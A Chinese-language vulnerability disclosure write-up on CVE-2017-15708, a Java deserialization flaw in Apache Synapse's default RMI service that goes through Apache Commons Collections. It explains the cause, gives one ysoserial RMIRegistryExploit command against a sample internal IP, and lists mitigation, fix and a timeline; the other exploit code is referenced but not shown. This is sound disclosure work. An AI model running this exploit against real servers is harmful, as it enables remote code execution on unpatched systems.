Author:Sevck
0X00 介绍
Apache Synapse是一种轻量级的高性能企业服务总线(ESB)。Apache Synapse由快速和异步的中介引擎提供支持,为XML、Web服务和REST提供了卓越的支持。
0X01 分析
我们知道,完成反序列化漏洞需要存在两个条件:
- 存在反序列化对象数据传输
- 有缺陷的第三方lib库,例如Apache Commons Collections
在FoxGlove Security安全团队的@breenmachine的博文中,总结了非常全面可能使用反序列化的地方:
在HTTP请求中
- RMI,RMI在传输过程中一定会使用序列化和反序列化
- 基于HTTP的RMI,同样100%使用序列化对象
- JMX
- 自定义协议
由于Synapse业务功能的特殊性,默认启动并使用了RMI:
现在我们知道,服务启动了RMI,并且默认绑定到0.0.0.0中,完成反序列化漏洞的2个条件之一已经完成。
RMI在传输过程中,必然存在使用序列化和反序列化。在Apache Synapse 3.0.1之前的版本中,默认使用Apache Commons Collections库。
在Apache Commons Collections小于等于3.2.1版本中,存在反序列化漏洞, Commons Collections漏洞成因本文不再重复累赘。
0X02 利用
由于攻击的两个条件目前我们已经达成,编写payload:
构造恶意Transformer链:
生成Payload,发送RMI反序列数据:
运行结果:
在ysoserial工具中也集成了CommonsCollections的Payload:
java -cp ysoserial-master-v0.0.5-gb617b7b-16.jar ysoserial.exploit.RMIRegistryExploit 192.168.197.25 1099 CommonsCollections1 "touch /tmp/apache_synapse"
0X03 缓解
删除掉项目Apache Commons Collections
中的org/apache/commons/collections/functors/InvokerTransformer.class
文件
0X04 修复
升级到官方提供的最新版本Apache Synapse 3.0.1
时间轴
2017-11-10 发现漏洞
2017-11-13 报告漏洞
2017-12-05 官方发布3.0.1修复漏洞,赋予漏洞CVE-2017-15708
2017-12-11 对外公开漏洞
参考链接
http://www.openwall.com/lists/oss-security/2017/12/10/4
http://synapse.apache.org/download/3.0.1/download.cgi
http://synapse.apache.org/index.html